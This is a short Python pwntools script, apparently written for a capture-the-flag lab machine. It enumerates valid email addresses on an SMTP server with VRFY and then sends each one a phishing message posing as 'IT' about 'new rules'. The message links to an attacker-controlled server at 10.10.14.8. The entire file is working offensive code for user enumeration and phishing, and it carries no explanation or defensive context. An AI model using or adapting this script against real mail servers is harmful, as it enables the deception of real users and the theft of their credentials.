from pwn import * import sys # Color !! PURPLE = '\033[1;35;48m' CYAN = '\033[1;36;48m' BOLD = '\033[1;37;48m' BLUE = '\033[1;34;48m' GREEN = '\033[1;32;48m' YELLOW = '\033[1;33;48m' RED = '\033[1;31;48m' BLACK = '\033[1;30;48m' Host = "10.10.10.197" def Checker_mail(FileName,Host): f = open(FileName, "r") for x in f: Email = x.rstrip() conn = remote(Host,25,level='error') code = conn.recvline() conn.send("VRFY {}\r\n".format(Email)) ASEmail = conn.recvline().decode() if "denied" in ASEmail: print("{}[-] Email Not Found !!".format(RED)) conn.close() else: print("{}[+] Email Found : {}".format(GREEN,Email)) conn.close() def Send_mail(FileName,Host): f = open(FileName, "r") for x in f: Email = x.rstrip() conn = remote(Host,25,level='error') code = conn.recvline() conn.send("mail from: IT\r\n") ResMail = conn.recvline().decode() conn.send("rcpt to: {}\r\n".format(Email)) ResRCPT = conn.recvline().decode() print(ResMail) print(ResRCPT) conn.send("data\r\n") ResData = conn.recvline().decode() print(ResData) conn.send("Subject:IT\n") conn.send("Good Day, \n") conn.send("For our new rules\n") conn.send("Please check here : http://10.10.14.8:1233/\n") conn.send(".\r\n") ResAfterData = conn.recvline().decode() print(ResAfterData) Send_mail('emails.txt',Host) #Checker_mail('emails.txt',Host)